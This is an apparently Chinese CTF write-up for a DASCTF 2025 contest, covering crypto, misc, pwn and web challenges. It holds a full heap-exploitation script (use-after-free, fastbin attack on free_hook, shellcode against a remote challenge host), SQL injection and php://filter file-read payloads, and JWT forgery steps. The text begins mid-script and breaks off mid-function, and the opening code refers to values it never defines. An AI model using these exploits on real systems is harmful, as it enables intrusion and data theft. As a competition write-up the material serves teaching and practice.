q = int("d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad", 16)

byte_C1A0 = bytes([
    0x16, 0x38, 0xE0, 0xEB, 0x93, 0x61, 0x40, 0xB5, 0x52, 0x70,
    0x33, 0x29, 0x2C, 0xBE, 0xFC, 0xD7, 0x3B, 0x55, 0xCF, 0xC7,
    0xFB, 0x79, 0xDF, 0x51, 0xAE, 0x37, 0x68, 0xA0, 0xDD, 0x9C,
    0x84, 0xAE, 0x45, 0x80, 0xE4, 0x7A, 0x51, 0x33, 0xB4, 0x25,
    0xF4, 0xC9, 0x3E, 0xAC, 0x97, 0xE4, 0xB1, 0xAA, 0x0B, 0x4C,
    0xD3, 0x05, 0x89, 0xD0, 0x04, 0xF6, 0xD0, 0xD1, 0x9F, 0xCB,
    0xC7, 0x09, 0xE8, 0x6C, 0xC2, 0x99, 0x6B, 0x43, 0x3D, 0x29,
    0xF6, 0x50, 0xB6, 0x99, 0x87, 0xA4, 0x66, 0xF0, 0x5B, 0xEF,
    0x7F, 0x69, 0x94, 0x58, 0x60, 0xDC, 0xC4, 0x47, 0x42, 0xA5,
    0x11, 0xF3, 0x62, 0x13, 0x85, 0xC8, 0x9F, 0xBD, 0x4D, 0x73,
    0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xB2, 0x5C, 0xFC, 0x31,
    0x51, 0xA4, 0x11, 0x5B, 0xC3, 0x0C, 0x96, 0x97, 0x9E, 0x5F,
    0x96, 0x52, 0x90, 0xF3, 0x6A, 0x86, 0x3E, 0x33, 0x78, 0xB5,
    0xCF, 0xC9, 0xBA, 0x31, 0x43, 0x8C, 0x4B, 0xAE, 0x22, 0xB2,
    0x3E, 0xF8, 0x15, 0xED, 0xF7, 0xCF, 0x17, 0x71, 0x80, 0x3B,
    0xD3, 0x92, 0xA5, 0x07, 0x2B, 0x46, 0x89, 0x00, 0xB7, 0x5F,
    0x5A, 0x43, 0x77, 0xD1, 0xDA, 0xF3, 0xD6, 0xF7, 0xB7, 0xB6,
    0x85, 0x0D, 0x1A, 0x4A, 0x41, 0x34, 0xF2, 0xF6, 0x58, 0x40,
    0xEF, 0xAA, 0x9B, 0x83, 0xD3, 0x10, 0x83, 0x05, 0x1D, 0xF0,
    0xFC, 0x80, 0xA7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4F, 0x62,
    0xBB, 0xB9, 0x52, 0x4F, 0x68, 0x28, 0x5F, 0x48, 0xC7, 0xAB,
    0x8E, 0x03, 0xBD, 0xFE, 0xCA, 0x1A, 0x60, 0x25, 0xAA, 0xED,
    0x9F, 0x97, 0x28, 0xB3, 0x90, 0x68, 0x9C, 0x0C, 0x96, 0x39,
    0x20, 0xC7, 0x28, 0xEB, 0x56, 0x95, 0xFC, 0xB9, 0x41, 0x3F,
    0x9F, 0x4E, 0x06, 0xD3, 0xB9, 0x3D, 0xB4, 0x0E, 0x26, 0xD6,
    0x27, 0x5C, 0x84, 0xE6, 0x12, 0x6A
])

byte_C0A0 = bytes([
    0x37, 0x3A, 0x2A, 0x27, 0xB3, 0x8F, 0xD7, 0x78, 0xC7, 0x16,
    0x72, 0x8E, 0xBB, 0x95, 0xBE, 0x89, 0xA0, 0xA0, 0x57, 0x10,
    0x91, 0x19, 0xA0, 0x8D, 0x5C, 0xE4, 0x92, 0x61, 0xEB, 0xB0,
    0xE0, 0x77, 0x6D, 0x25, 0x4A, 0x40, 0xC4, 0xD2, 0x1B, 0xD2,
    0x46, 0x3E, 0x61, 0x60, 0x87, 0x71, 0xDE, 0x40, 0x1E, 0xED,
    0x13, 0xAC, 0x66, 0x60, 0xD9, 0x96, 0xBE, 0xA8, 0xC8, 0xB8,
    0x2B, 0xDD, 0x0E, 0xAF, 0x56, 0xC3, 0x84, 0x66, 0x77, 0x6E,
    0xBA, 0x31, 0xF7, 0xB2, 0x21, 0x92, 0x30, 0xB6, 0x54, 0xA7,
    0x7E, 0xC0, 0xAF, 0x39, 0x5A, 0x01, 0xC3, 0x1C, 0x13, 0x9A,
    0x4F, 0x6B, 0x7B, 0x8B, 0xA8, 0x45, 0x19, 0x20, 0x96, 0x16,
    0x5D, 0xD7, 0xAC, 0xD0, 0x33, 0x1E, 0x79, 0xDB, 0xE4, 0x34,
    0xED, 0x8C, 0x9A, 0x66, 0x58, 0x1D, 0x26, 0xF6, 0x9E, 0x5F,
    0xAA, 0x29, 0x5F, 0x66, 0x01, 0x00, 0x76, 0xB9, 0x1A, 0x6D,
    0xD6, 0x1D, 0xB7, 0xAB, 0xD3, 0x25, 0xF8, 0xBD, 0x25, 0xD9,
    0x28, 0xDE, 0xBC, 0xC0, 0x2E, 0x55, 0x55, 0xFF, 0x81, 0xF7,
    0xAE, 0x3E, 0x54, 0x8E, 0x3E, 0x46, 0x59, 0xA3, 0x7F, 0x5D,
    0x3D, 0x3C, 0x39, 0xFB, 0xCA, 0xD1, 0xB5, 0x83, 0xE4, 0x2F,
    0xB0, 0x4F, 0xA3, 0x28, 0xEB, 0xB7, 0x7E, 0x78, 0x41, 0xF4,
    0x5B, 0x71, 0x1E, 0x77, 0xEE, 0x23, 0xE1, 0x19, 0x89, 0xDB,
    0x2C, 0x0E, 0x06, 0xB8, 0x19, 0x1A, 0x45, 0x6D, 0x56, 0xBD,
    0x1A, 0x7D, 0x42, 0xC4, 0x7F, 0xDF, 0xDF, 0x11, 0x79, 0x22,
    0x8B, 0x57, 0xC6, 0xEF, 0xCA, 0x9B, 0x9B, 0x6A, 0x7D, 0x22,
    0x68, 0x2E, 0x5B, 0x67, 0xC7, 0xC4, 0x6A, 0x87, 0x7F, 0xB6,
    0x77, 0xF5, 0xF3, 0x17, 0xB4, 0x82, 0x3F, 0xCD, 0xC8, 0x12,
    0xF0, 0x36, 0x2B, 0xE2, 0x7C, 0x0F, 0x54, 0x53, 0x03, 0x71,
    0x48, 0xED, 0x30, 0x12, 0x7B, 0x26
])

byte_C2A0 = bytes([
    0xAD, 0xD1, 0xD1, 0x19, 0x60, 0xC2, 0x2D, 0x91, 0x66, 0xDA,
    0xC3, 0xC2, 0x67, 0x25, 0xC8, 0x19, 0x09, 0x17, 0x6B, 0x23,
    0x8E, 0x30, 0x03, 0xAA, 0x57, 0xAA, 0xCB, 0xA0, 0xA2, 0x26,
    0xB7, 0xC3, 0x1C, 0x22, 0x0B, 0x8D, 0x20, 0x9C, 0xB4, 0x95,
    0xB5, 0x5D, 0xB4, 0xE2, 0x7D, 0x4E, 0x43, 0x8E
])


key = RSA.construct((n, e, d, p, q))
cipher_rsa = PKCS1_OAEP.new(key)
account = cipher_rsa.decrypt(byte_C1A0)
cipher_rsa = PKCS1_OAEP.new(key)
aes_key = cipher_rsa.decrypt(byte_C0A0)
cipher_aes = AES.new(aes_key, AES.MODE_CBC, account)
result = cipher_aes.decrypt(byte_C2A0)
text = result.decode('utf-8', errors='ignore')
print(f"{text}")

CHECKIN

将图片用记事本打开 获取base64编码

image-20251207033643413

image-20251207033653784

DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}

MISC

DigitalSignature

from web3 import Web3
from eth_account.messages import encode_defunct

# 核心参数
msg = "Find out the signer. Flag is account address that wrapped by DASCTF{}."
sig = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"

# 恢复签名地址并输出结果
addr = Web3().eth.account.recover_message(encode_defunct(text=msg), signature=sig)
print(f"Recovered address: {addr}")
print(f"Flag: DASCTF{{{addr}}}")

DASCTF{0xF319C9F3A3822C6b409c34451F7709f27173934c}

Crypto

from Crypto.Util.number import long_to_bytes, bytes_to_long
import numpy as np

# 原始参数
mask = 9319439021858903464  # 64位掩码
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506

# ---- 1. 构造64x64的变换矩阵A和初始掩码向量M ----
A = np.zeros((64, 64), dtype=np.uint8)
M = np.zeros(64, dtype=np.uint8)

# 初始化第一行和M向量(基于mask的二进制位)
for j in range(64):
    if (mask >> j) & 1:
        A[0, j] = 1
        M[j] = 1

# 构造下三角移位矩阵(第k行第k-1列置1)
for k in range(1, 64):
    A[k, k-1] = 1

# ---- 2. 生成513个状态行(模拟线性反馈移位寄存器) ----
rows = []
r = M.copy()
for t in range(512 + 1):  # t从0到512,共513个状态
    rows.append(r.copy())
    # 矩阵乘法后模2(GF(2)域运算)
    r = (r @ A) % 2

# ---- 3. 处理密文c,转换为64字节的bytes(确保长度为64) ----
try:
    c_bytes = long_to_bytes(c)
    # 补零或截断到64字节,避免长度不匹配
    if len(c_bytes) < 64:
        c_bytes = b'\x00' * (64 - len(c_bytes)) + c_bytes
    elif len(c_bytes) > 64:
        c_bytes = c_bytes[-64:]  # 取最后64字节(符合常规低位存储)
except Exception as e:
    raise ValueError(f"密文转换失败: {e}")

# ---- 4. 构造线性方程组 A2·S0 = b2(GF(2)域) ----
A2 = np.zeros((64, 64), dtype=np.uint8)
b2 = np.zeros(64, dtype=np.uint8)

for j in range(64):
    # 取第8*j行作为方程的系数
    A2[j, :] = rows[8 * j]
    # 取c_bytes[j]的最高位(MSB)作为方程右侧值
    b2[j] = (c_bytes[j] >> 7) & 1

# ---- 5. 优化的GF(2)线性方程组求解器(带空空间计算) ----
def gf2_solve_with_nullspace(A, b):
    """
    求解GF(2)域线性方程组 A·x = b
    返回: 特解x_part, 零空间基, 矩阵秩
    无解时返回 (None, None, None)
    """
    # 深拷贝避免修改原数组,转换为int方便异或运算
    A = A.copy().astype(int)
    b = b.copy().astype(int)
    m, n = A.shape  # m行n列
    row = 0  # 当前处理的行
    pivot_cols = []  # 主元列
    pivcol = [-1] * m  # 每行对应的主元列

    # 高斯消元(前向消去)
    for col in range(n):
        # 找当前列的主元行(第一个非零行)
        pivot = None
        for r in range(row, m):
            if A[r, col] == 1:
                pivot = r
                break
        if pivot is None:
            continue  # 该列无主元,跳过

        # 交换主元行到当前行
        if pivot != row:
            A[[row, pivot]] = A[[pivot, row]]
            b[row], b[pivot] = b[pivot], b[row]

        pivot_cols.append(col)
        pivcol[row] = col

        # 消去其他行的当前列
        for r in range(m):
            if r != row and A[r, col] == 1:
                A[r, :] ^= A[row, :]
                b[r] ^= b[row]

        row += 1
        if row == m:
            break  # 所有行处理完毕

    rank = row  # 矩阵的秩

    # 检查无解情况:全零行但b[r]=1
    for r in range(rank, m):
        if not np.any(A[r]) and b[r] == 1:
            print("线性方程组无解!")
            return None, None, None

    # 构造特解
    x = np.zeros(n, dtype=int)
    for r in range(rank - 1, -1, -1):
        col = pivcol[r]
        if col == -1:
            continue
        # 计算非主元列的异或和
        s = 0
        for j in range(col + 1, n):
            s ^= (A[r, j] & x[j])
        x[col] = b[r] ^ s

    # 构造零空间基(自由变量)
    free_cols = [c for c in range(n) if c not in pivot_cols]
    null_basis = []
    for fc in free_cols:
        v = np.zeros(n, dtype=int)
        v[fc] = 1  # 自由变量设为1
        # 回代求解主元变量
        for r in range(rank - 1, -1, -1):
            col = pivcol[r]
            if col == -1:
                continue
            s = 0
            for j in range(col + 1, n):
                s ^= (A[r, j] & v[j])
            v[col] = s
        null_basis.append(v)

    return x, null_basis, rank

# ---- 6. 求解方程组并生成可能的种子 ----
x_part, null_basis, rank = gf2_solve_with_nullspace(A2, b2)

if x_part is None:
    raise RuntimeError("未找到有效解,方程组无解!")

# 向量转64位种子(uint64)
def vec_to_seed(v):
    s = 0
    for i in range(64):
        if v[i]:
            s |= (1 << i)
    return s & ((1 << 64) - 1)  # 确保64位无符号

base_seed = vec_to_seed(x_part)
seeds = [base_seed]

# 加入零空间的基生成更多可能的种子(最多取前1个基,避免数量爆炸)
if null_basis and len(null_basis) > 0:
    seeds.append(base_seed ^ vec_to_seed(null_basis[0]))

# ---- 7. 自定义RNG(线性反馈移位寄存器) ----
def myrng_next(seed):
    """
    RNG下一个状态计算
    返回: 新seed, 输出bit
    """
    # 确保seed是64位无符号
    seed = seed & ((1 << 64) - 1)
    i = seed & mask
    out = 0
    # 计算mask对应位的异或和
    while i:
        out ^= i & 1
        i >>= 1
    # 左移1位 + 异或结果,保持64位
    seed = ((seed << 1) | out) & ((1 << 64) - 1)
    return seed, out

# ---- 8. 生成64*8=512位密钥 ----
def gen_key(seed):
    st = seed
    key = 0
    for _ in range(64 * 8):  # 生成512位
        st, bit = myrng_next(st)
        key = (key << 1) | bit
    return key

# ---- 9. 检查字节是否可打印(ASCII 32-126) ----
def printable(bs):
    return all(32 <= b <= 126 for b in bs)

# ---- 10. 遍历所有可能的种子,解密并验证flag ----
found = False
for s in seeds:
    try:
        key = gen_key(s)
        # 解密:c ^ key(注意长度匹配)
        m = c ^ key
        # 转换为64字节,补零对齐
        flag_inner = long_to_bytes(m, 64)
        # 验证可打印性
        if printable(flag_inner):
            found = True
            print("=" * 50)
            print(f"找到有效种子: seed = {hex(s)}")
            print(f"解密内容: inner = {flag_inner}")
            print(f"最终flag: DASCTF{{{flag_inner.decode('utf-8')}}}")
            print("=" * 50)
    except Exception as e:
        print(f"种子 {hex(s)} 处理失败: {e}")
        continue

if not found:
    print("未找到可打印的flag,请检查参数或求解逻辑!")

image-20251207034519611

DASCTF{f1nd_th3_hidden_Linear_R3lat1onShip_@nd_th3n_F1nd_My_Lo5t_KEY!!!}

PWN

rcms

指针未置0,存在uaf漏洞

image-20251206170847502

gift函数存在执行任意代码漏洞

image-20251206170858024

漏洞利用思路,利用unsortbin和uaf泄露main_arena地址,利用Fastbin Attack劫持free_hook指向gift函数写入并执行shellcode

from pwn import *
#p=process('/home/kali/Desktop/dasctf/pwn')
context(arch='amd64',os='linux',log_level='debug')
p=remote('node5.buuoj.cn',26776)
e=ELF('/home/kali/Desktop/dasctf/pwn')
def add(index,time,cmd):
    p.recvuntil(b'exit\n')
    p.sendline(b'1')
    p.recvuntil(b'connect:\n')
    p.sendline(str(index).encode())
    p.recvuntil(b'want:\n')
    p.sendline(str(time).encode())
    p.recvuntil(b'cmd:\n')
    p.send(cmd)
def show(index):
    p.recvuntil(b'exit\n')
    p.sendline(b'4')
    p.recvuntil(b'show:\n')
    p.sendline(str(index).encode())
def change(index,cmd):
    p.recvuntil(b'exit\n')
    p.sendline(b'3')
    p.recvuntil(b'change:\n')
    p.sendline(str(index).encode())
    p.recvuntil(b'cmd:\n')
    p.send(cmd)
def delet(index):
    p.recvuntil(b'exit\n')
    p.sendline(b'2')
    p.recvuntil(b'delet:\n')
    p.sendline(str(index).encode())
add(11,0x410,b'a')
add(12,10,b'b')
delet(11)
#gdb.attach(p)
show(11)
libcba=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
print(hex(libcba))
libcbase=libcba-0x3ebca0
free_hook=libcbase+0x3ed8e8
add(1,8,b'a')
add(2,8,b'b')
delet(2)
delet(1)
show(1)
fd=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(fd))
elfbase=fd-0x153a22c0
gift=fd-0x1010-0x30-0x20
change(1,p64(gift))
giftz=elfbase+0xFD8
print(hex(giftz))
#gdb.attach(p)
add(3,8,b'a')
add(4,8,b'\xd8')
show(4)
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
delet(3)
change(3,p64(free_hook))
add(5,8,b'1')
add(6,8,p64(addr))
elfbase=addr-0xfd8
bss=elfbase+e.bss()
payload=shellcraft.open('./flag\x00')
payload+= shellcraft.read(3, bss + 0x300,0x200)
payload+= shellcraft.write(1,bss + 0x300,0x200)
add(7,1,b'1')
#gdb.attach(p)
delet(7)
p.recvuntil(b'me?\n')
p.sendline(asm(payload))
p.interactive()

image-20251206171124642

Web

SecretPhotoGallery

进来是一个登录框

尝试添加引号 单引号报错,双引号闭合,并且没有过滤什么关键字

那就直接打

image-20251206131746878

从报错中可以看出,密码存在回显报错

admin
1' order by 3 -- -
admin
1' union select 1,2,3 -- -

image-20251206131910476

登录后得到一串jwt

image-20251206131927623

拼接后

GALLERY2024SECRET

这大概就是密钥了

image-20251206131947821

伪造一下 就是admin了

进去后是一个文件包含

直接用base64读发现被过滤了

那就只能convert.iconv.UTF-7.UCS-4*当然这里还有很多其他的读法

php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

image-20251206132130617

devweb

image-20251206153109216

可以看到有publicKey

先写一个脚本去加密密码

import base64
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15

PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
    """
    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
    :param plain_text: 待加密的明文(字符串)
    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
    :return: Base64编码的加密结果
    """
    try:
        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
        pem_pub_key = (
            "-----BEGIN PUBLIC KEY-----\n"
            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
            + "\n-----END PUBLIC KEY-----"
        )
        
        # 2. 加载公钥
        public_key = serialization.load_pem_public_key(
            pem_pub_key.encode("utf-8"),
            backend=default_backend()
        )
        
        # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
        plain_bytes = plain_text.encode("utf-8")
        
        # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
        encrypted_bytes = public_key.encrypt(
            plain_bytes,
            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
        )
        
        # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
        
        return base64_encrypted
    
    except Exception as e:
        raise RuntimeError(f"加密失败: {str(e)}")

# 测试示例
if __name__ == "__main__":
    # 待加密的明文
    test_text = "123456"
    
    # 执行加密
    encrypted_result = rsa_encrypt_pkcs1v15_jseencrypt(test_text, PUBLIC_KEY_STR)
    
    # 输出结果
    print(f"明文: {test_text}")
    print(f"加密后Base64字符串: {encrypted_result}")

再用密码和账号进行发包

import base64
import requests
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re

# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

# 目标登录URL
TARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]

def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
    """
    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
    :param plain_text: 待加密的明文(字符串)
    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
    :return: Base64编码的加密结果
    """
    try:
        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
        pem_pub_key = (
            "-----BEGIN PUBLIC KEY-----\n"
            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
            + "\n-----END PUBLIC KEY-----"
        )
        
        # 2. 加载公钥
        public_key = serialization.load_pem_public_key(
            pem_pub_key.encode("utf-8"),
            backend=default_backend()
        )
        
        # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
        plain_bytes = plain_text.encode("utf-8")
        
        # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
        encrypted_bytes = public_key.encrypt(
            plain_bytes,
            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
        )
        
        # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
        
        return base64_encrypted
    
    except Exception as e:
        raise RuntimeError(f"加密失败: {str(e)}")

def extract_path_from_response(response_text: str) -> str:
    """
    从响应内容中提取path(支持多种常见格式匹配)
    :param response_text: 响应文本内容
    :return: 提取到的path,无则返回空字符串
    """
    # 匹配常见的path格式(可根据实际情况调整正则)
    path_patterns = [
        r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',  # "path": "/xxx/yyy"
        r'["\']/[^"\']+["\']',  # 匹配 "/xxx/yyy" 格式的path
        r'\/[a-zA-Z0-9_\-\/]+',  # 匹配 /xxx/yyy 格式的path
    ]
    
    for pattern in path_patterns:
        match = re.search(pattern, response_text)
        if match:
            path = match.group(1) if len(match.groups()) > 0 else match.group(0)
            # 去除引号等多余字符
            path = path.strip('"\'')
            return path
    
    return ""

def visit_path_url(path: str, base_domain: str) -> requests.Response:
    """
    拼接path和基础域名,访问该URL并返回响应
    :param path: 提取的path
    :param base_domain: 基础域名
    :return: 响应对象
    """
    if not path:
        raise ValueError("path为空,无法拼接URL")
    
    # 拼接URL(处理path开头是否有/的情况)
    if path.startswith('/'):
        full_url = base_domain + path
    else:
        full_url = f"{base_domain}/{path}"
    
    # 移除重复的//
    full_url = full_url.replace('//', '/').replace('http:/', 'http://')
    
    print(f"\n[*] 拼接后的完整URL: {full_url}")
    
    # 发送请求(复用请求头,保持会话一致性)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    try:
        response = requests.get(
            full_url,
            headers=headers,
            timeout=10,
            allow_redirects=True  # 允许重定向
        )
        print(f"[*] URL访问状态码: {response.status_code}")
        return response
    except Exception as e:
        raise RuntimeError(f"访问URL失败: {str(e)}")

def send_login_request(username, password):
    """
    发送登录请求到目标URL,并处理path提取和URL访问
    :param username: 登录用户名
    :param password: 加密后的登录密码
    :return: 登录响应对象
    """
    payload = {
        "username": username,
        "password": password
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    try:
        print(f"[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")
        response = requests.post(
            TARGET_URL,
            data=payload,
            headers=headers,
            timeout=10
        )

        print(f"[*] 响应状态码: {response.status_code}")
        print(f"[*] 响应内容: {response.text}")
        print("-" * 80)

        # 提取path
        path = extract_path_from_response(response.text)
        if path:
            print(f"[*] 从响应中提取到path: {path}")
            # 访问拼接后的URL
            try:
                path_response = visit_path_url(path, BASE_DOMAIN)
                print(f"[*] URL访问响应内容: {path_response.text}")
                print("-" * 80)
            except Exception as e:
                print(f"[!] 访问拼接URL失败: {e}")
        else:
            print("[*] 响应中未提取到有效path")

        return response

    except Exception as e:
        print(f"[!] 发包失败: {e}")
        print("-" * 80)
        raise

if __name__ == "__main__":
    # 1. 定义需要加密的原始密码
    original_password = "123456"
    print(f"[*] 原始密码: {original_password}")
    print("-" * 80)
    
    # 2. 使用RSA加密密码
    try:
        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)
        print(f"[*] RSA加密后的密码: {encrypted_password}")
        print("-" * 80)
    except RuntimeError as e:
        print(f"[!] 密码加密失败: {e}")
        exit(1)
    
    # 3. 发送登录请求(使用加密后的密码)并处理path访问
    try:
        login_response = send_login_request("admin", encrypted_password)
    except Exception as e:
        print(f"[!] 登录请求处理失败: {e}")
        exit(1)

image-20251206161517356

image-20251206162043034

有一个/download的下载文件接口

import base64
import requests
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
import re

# RSA公钥(用于密码加密)
PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

# 目标登录URL
TARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"
# 提取基础域名(用于拼接path)
BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]
# 指定的下载URL路径
DOWNLOAD_PATH = "/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6"

def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:
    """
    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串
    :param plain_text: 待加密的明文(字符串)
    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)
    :return: Base64编码的加密结果
    """
    try:
        # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)
        pem_pub_key = (
            "-----BEGIN PUBLIC KEY-----\n"
            + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)])
            + "\n-----END PUBLIC KEY-----"
        )
        
        # 2. 加载公钥
        public_key = serialization.load_pem_public_key(
            pem_pub_key.encode("utf-8"),
            backend=default_backend()
        )
        
        # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)
        plain_bytes = plain_text.encode("utf-8")
        
        # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)
        encrypted_bytes = public_key.encrypt(
            plain_bytes,
            PKCS1v15()  # 标准PKCS1 v1.5填充,与JSEncrypt完全一致
        )
        
        # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)
        base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
        
        return base64_encrypted
    
    except Exception as e:
        raise RuntimeError(f"加密失败: {str(e)}")

def extract_path_from_response(response_text: str) -> str:
    """
    从响应内容中提取path(支持多种常见格式匹配)
    :param response_text: 响应文本内容
    :return: 提取到的path,无则返回空字符串
    """
    # 匹配常见的path格式(可根据实际情况调整正则)
    path_patterns = [
        r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',  # "path": "/xxx/yyy"
        r'["\']/[^"\']+["\']',  # 匹配 "/xxx/yyy" 格式的path
        r'\/[a-zA-Z0-9_\-\/]+',  # 匹配 /xxx/yyy 格式的path
    ]
    
    for pattern in path_patterns:
        match = re.search(pattern, response_text)
        if match:
            path = match.group(1) if len(match.groups()) > 0 else match.group(0)
            # 去除引号等多余字符
            path = path.strip('"\'')
            return path
    
    return ""

def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:
    """
    拼接path和基础域名,访问该URL并返回响应
    :param path: 提取的path
    :param base_domain: 基础域名
    :param session: 可选的会话对象(保持cookie等状态)
    :return: 响应对象
    """
    if not path:
        raise ValueError("path为空,无法拼接URL")
    
    # 拼接URL(处理path开头是否有/的情况)
    if path.startswith('/'):
        full_url = base_domain + path
    else:
        full_url = f"{base_domain}/{path}"
    
    # 移除重复的//
    full_url = full_url.replace('//', '/').replace('http:/', 'http://')
    
    print(f"\n[*] 拼接后的完整URL: {full_url}")
    
    # 发送请求(复用请求头,保持会话一致性)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive"
    }
    
    try:
        # 使用会话对象或普通请求,保持状态一致性
        if session:
            response = session.get(
                full_url,
                headers=headers,
                timeout=10,
                allow_redirects=True  # 允许重定向
            )
        else:
            response = requests.get(
                full_url,
                headers=headers,
                timeout=10,
                allow_redirects=True  # 允许重定向
            )
        print(f"[*] URL访问状态码: {response.status_code}")
        return response
    except Exception as e:
        raise RuntimeError(f"访问URL失败: {str(e)}")

def send_login_request(username, password, session: requests.Session):
    """
    发送登录请求到目标URL,并处理path提取和URL访问
    :param username: 登录用户名
    :param password: 加密后的登录密码
    :param session: 会话对象(保持cookie)
    :return: 登录响应对象
    """
    payload = {
        "username": username,
        "password": password
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Accept-Encoding": "gzip, deflate",
